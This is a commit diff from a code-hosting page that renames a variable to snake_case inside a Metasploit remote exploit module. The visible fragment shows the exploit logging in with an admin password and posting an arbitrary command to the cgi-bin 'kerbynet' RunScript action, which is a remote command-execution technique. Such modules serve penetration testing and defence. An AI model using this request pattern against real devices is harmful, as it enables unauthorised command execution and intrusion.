Use snake_case
parent
34b84395c1
commit
79ca123051
|
@ -136,7 +136,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
session = login(admin_password)
|
||||
|
||||
scriptname = rand_text_alphanumeric(8)
|
||||
script_name = rand_text_alphanumeric(8)
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(uri, "cgi-bin", "kerbynet"),
|
||||
|
@ -144,7 +144,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Action' => "RunScript",
|
||||
'Section' => "Setup",
|
||||
'STk' => session,
|
||||
'ScriptName' => scriptname,
|
||||
'ScriptName' => script_name,
|
||||
'Script' => cmd + '&'
|
||||
}
|
||||
})
|
||||
|
|
Loading…
Reference in New Issue